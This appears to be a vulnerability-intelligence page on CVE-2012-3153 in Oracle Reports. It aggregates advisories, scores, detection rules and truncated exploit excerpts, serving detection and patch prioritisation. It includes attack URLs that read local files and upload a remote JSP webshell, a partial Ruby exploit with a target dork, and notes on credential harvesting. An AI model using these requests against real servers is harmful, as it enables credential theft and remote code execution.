CVE-2012-3153
published 2012-10-16CVE-2012-3153: Unspecified vulnerability in the Oracle Reports Developer component in Oracle Fusion Middleware 11.1.1.4, 11.1.1.6, and 11.1.2.0 allows remote attackers to…
PriorityP279medium6.4CVSS 2.0
AVNACLAuNCPIPAN
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
98.22%
99.9th percentile
Unspecified vulnerability in the Oracle Reports Developer component in Oracle Fusion Middleware 11.1.1.4, 11.1.1.6, and 11.1.2.0 allows remote attackers to affect confidentiality and integrity via unknown vectors related to Servlet. NOTE: the previous information is from the October 2012 CPU. Oracle has not commented on claims from the original researcher that the PARSEQUERY function allows remote attackers to obtain database credentials via reports/rwservlet/parsequery, and that this issue occurs in earlier versions. NOTE: this can be leveraged with CVE-2012-3152 to execute arbitrary code by uploading a .jsp file.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| oracle | fusion_middleware | — | — |
| oracle | fusion_middleware | — | — |
| oracle | fusion_middleware | — | — |
Detection & IOCsextracted from sources · hover to see the quote
url/reports/rwservlet?report=test.rdf&desformat=html&destype=cache&JOBTYPE=rwurl&URLPARAMETER=file:///↗
url/reports/rwservlet?report=test.rdf+desformat=html+destype=file+desname=/<path>/images/<payload>.jsp+JOBTYPE=rwurl+URLPARAMETER=<payload_url>↗
sigma↗
detection: keywords: '/reports/rwservlet/showenv' OR '/reports/rwservlet/parsequery' OR '/reports/rwservlet/showmap' OR 'JOBTYPE=rwurl' OR 'URLPARAMETER='
- →Detect credential harvesting attempts via GET requests to /reports/rwservlet/parsequery with keymap parameters; responses containing 'userid=<user>@' indicate successful credential disclosure. ↗
- →Detect file-write exploitation attempts via GET requests to /reports/rwservlet with parameters destype=file, JOBTYPE=rwurl, and URLPARAMETER pointing to an external URL; this is the payload upload vector. ↗
- →Detect JSP webshell execution by monitoring GET requests to /reports/images/*.jsp following prior upload activity to the same host. ↗
- →Use Shodan/FOFA queries for exposed Oracle WebLogic/Reports instances as attack surface identification: http.title:"weblogic" or body containing "weblogic application server". ↗
- →HTTP response body containing 'Reports Servlet' on /reports/rwservlet/showenv confirms an exposed Oracle Reports endpoint. ↗
- ·The file-write (CVE-2012-3152) upload path depends on the local filesystem path disclosed by showenv; the payload is written to <disclosed_path>/images/<random>.jsp and accessed via /reports/images/<random>.jsp. The PAYDIR option defaults to '/images/' in the Metasploit module. ↗
- ·Exploitation of CVE-2012-3153 (credential/path disclosure) is chained with CVE-2012-3152 (arbitrary file write) to achieve RCE; neither CVE alone is sufficient for full compromise in the automated exploit. ↗
- ·The JSP payload size has a ~60,000 character Java string limit; the Metasploit module splits the base64-encoded payload into two chunks if it exceeds this threshold. ↗
CVSS provenance
nvdv2.06.4MEDIUMAV:N/AC:L/Au:N/C:P/I:P/A:N
vulncheck9.1CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-x6c2-j4cw-94j8: Unspecified vulnerability in the Oracle Reports Developer component in Oracle Fusion Middleware 11
ghsa_unreviewed·2022-05-17·CVSS 6.4
CVE-2012-3152 [MEDIUM] GHSA-x6c2-j4cw-94j8: Unspecified vulnerability in the Oracle Reports Developer component in Oracle Fusion Middleware 11
Unspecified vulnerability in the Oracle Reports Developer component in Oracle Fusion Middleware 11.1.1.4, 11.1.1.6, and 11.1.2.0 allows remote attackers to affect confidentiality and integrity via unknown vectors related to Report Server Component. NOTE: the previous information is from the October 2012 CPU. Oracle has not commented on claims from the original researcher that the URLPARAMETER functionality allows remote attackers to read and upload arbitrary files to reports/rwservlet, and that this issue occurs in earlier versions. NOTE: this can be leveraged with CVE-2012-3153 to execute arbitrary code by uploading a .jsp file.
GHSA
GHSA-wcv9-8rh4-59p4: Unspecified vulnerability in the Oracle Reports Developer component in Oracle Fusion Middleware 11
ghsa_unreviewed·2022-05-17·CVSS 9.1
CVE-2012-3153 [CRITICAL] GHSA-wcv9-8rh4-59p4: Unspecified vulnerability in the Oracle Reports Developer component in Oracle Fusion Middleware 11
Unspecified vulnerability in the Oracle Reports Developer component in Oracle Fusion Middleware 11.1.1.4, 11.1.1.6, and 11.1.2.0 allows remote attackers to affect confidentiality and integrity via unknown vectors related to Servlet. NOTE: the previous information is from the October 2012 CPU. Oracle has not commented on claims from the original researcher that the PARSEQUERY function allows remote attackers to obtain database credentials via reports/rwservlet/parsequery, and that this issue occurs in earlier versions. NOTE: this can be leveraged with CVE-2012-3152 to execute arbitrary code by uploading a .jsp file.
VulnCheck
Oracle Fusion Middleware Exposure of Sensitive Information to an Unauthorized Actor
vulncheck·2012·CVSS 9.1
CVE-2012-3153 [CRITICAL] Oracle Fusion Middleware Exposure of Sensitive Information to an Unauthorized Actor
Oracle Fusion Middleware Exposure of Sensitive Information to an Unauthorized Actor
Unspecified vulnerability in the Oracle Reports Developer component in Oracle Fusion Middleware 11.1.1.4, 11.1.1.6, and 11.1.2.0 allows remote attackers to affect confidentiality and integrity via unknown vectors related to Servlet. NOTE: the previous information is from the October 2012 CPU. Oracle has not commented on claims from the original researcher that the PARSEQUERY function allows remote attackers to obtain database credentials via reports/rwservlet/parsequery, and that this issue occurs in earlier versions. NOTE: this can be leveraged with CVE-2012-3152 to execute arbitrary code by uploading a .jsp file.
Affected: Oracle Fusion Middleware
Required Action: Apply remediations or mitigations per
No detection rules found.
Exploit-DB
Oracle Forms and Reports - Remote Code Execution (Metasploit)
exploitdb·2014-02-18·CVSS 9.1
CVE-2012-3152 [CRITICAL] Oracle Forms and Reports - Remote Code Execution (Metasploit)
Oracle Forms and Reports - Remote Code Execution (Metasploit)
---
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'uri'
class Metasploit3 'Oracle Forms and Reports Remote Code Execution',
'Description' => %q{
This module uses two vulnerabilities in Oracle forms and reports to get remote code execution
on the host. The showenv url can be used to disclose information about a server. A second
vulnerability that allows arbitrary reading and writing to the host filesystem can then be
used to write a shell from a remote url to a known local path disclosed from the previous
vulnerability.
The local path being accessable from an URL then allows us to perform the remote code
execu
Exploit-DB
Oracle Forms and Reports 11.1 - Arbitrary Code Execution
exploitdb·2014-01-29·CVSS 9.1
CVE-2012-3153 [CRITICAL] Oracle Forms and Reports 11.1 - Arbitrary Code Execution
Oracle Forms and Reports 11.1 - Arbitrary Code Execution
---
#!/usr/bin/env ruby
# Exploit Title: Oracle Reports 11.1
# About: Automated exploit for CVE-2012-3153/CVE-2012-3152
# Google Dork: inurl:/reports/rwservlet/
# Date: 01/28/2014
# Exploit Author: Mekanismen
# Credits to: @miss_sudo for initial disclosure
# Reference: http://netinfiltration.com/
# Vendor Homepage: http://www.oracle.com/
# Version: 11.1
# Tested on: Linux
# CVE-2012-3153
# CVE-2012-3152
require 'uri'
require 'open-uri'
require 'openssl'
#OpenSSL::SSL::VERIFY_PEER = OpenSSL::SSL::VERIFY_NONE
def upload_payload(dest)
url = "#{@url}/reports/rwservlet?report=test.rdf+desformat=html+destype=file+desname=/#{dest}/images/#{@payload_name}+JOBTYPE=rwurl+URLPARAMETER='#{@payload_url}'"
#print url
begin
uri = URI.parse(url
Metasploit
Oracle Forms and Reports Remote Code Execution
metasploit
Oracle Forms and Reports Remote Code Execution
Oracle Forms and Reports Remote Code Execution
This module uses two vulnerabilities in Oracle Forms and Reports to get remote code execution on the host. The showenv url can be used to disclose information about a server. A second vulnerability that allows arbitrary reading and writing to the host filesystem can then be used to write a shell from a remote url to a known local path disclosed from the previous vulnerability. The local path being accessible from an URL allows an attacker to perform the remote code execution using, for example, a .jsp shell. This module was tested successfully on Windows and Oracle Forms and Reports 10.1.
Nuclei
Oracle Forms & Reports RCE (CVE-2012-3152 & CVE-2012-3153)
nuclei·CVSS 9.1
CVE-2012-3153 [CRITICAL] Oracle Forms & Reports RCE (CVE-2012-3152 & CVE-2012-3153)
Oracle Forms & Reports RCE (CVE-2012-3152 & CVE-2012-3153)
An unspecified vulnerability in the Oracle Reports Developer component in Oracle Fusion Middleware 11.1.1.4,
11.1.1.6, and 11.1.2.0 allows remote attackers to affect confidentiality and integrity via unknown
vectors related to Report Server Component.
Template:
id: CVE-2012-3153
info:
name: Oracle Forms & Reports RCE (CVE-2012-3152 & CVE-2012-3153)
author: Sid Ahmed MALAOUI @ Realistic Security
severity: medium
description: |
An unspecified vulnerability in the Oracle Reports Developer component in Oracle Fusion Middleware 11.1.1.4,
11.1.1.6, and 11.1.2.0 allows remote attackers to affect confidentiality and integrity via unknown
vectors related to Report Server Component.
impact: |
Successful exploitation of this vulnerability
No writeups or analysis indexed.
http://blog.netinfiltration.com/2013/11/03/oracle-reports-cve-2012-3152-and-cve-2012-3153/http://blog.netinfiltration.com/2014/01/19/upcoming-exploit-release-oracle-forms-and-reports-11g/http://seclists.org/fulldisclosure/2014/Jan/186http://www.exploit-db.com/exploits/31253http://www.mandriva.com/security/advisories?name=MDVSA-2013:150http://www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.htmlhttp://www.securityfocus.com/bid/55961https://exchange.xforce.ibmcloud.com/vulnerabilities/79296http://blog.netinfiltration.com/2013/11/03/oracle-reports-cve-2012-3152-and-cve-2012-3153/http://blog.netinfiltration.com/2014/01/19/upcoming-exploit-release-oracle-forms-and-reports-11g/http://seclists.org/fulldisclosure/2014/Jan/186http://www.exploit-db.com/exploits/31253http://www.mandriva.com/security/advisories?name=MDVSA-2013:150http://www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.htmlhttp://www.securityfocus.com/bid/55961https://exchange.xforce.ibmcloud.com/vulnerabilities/79296
2012-10-16
Published
Exploited in the wild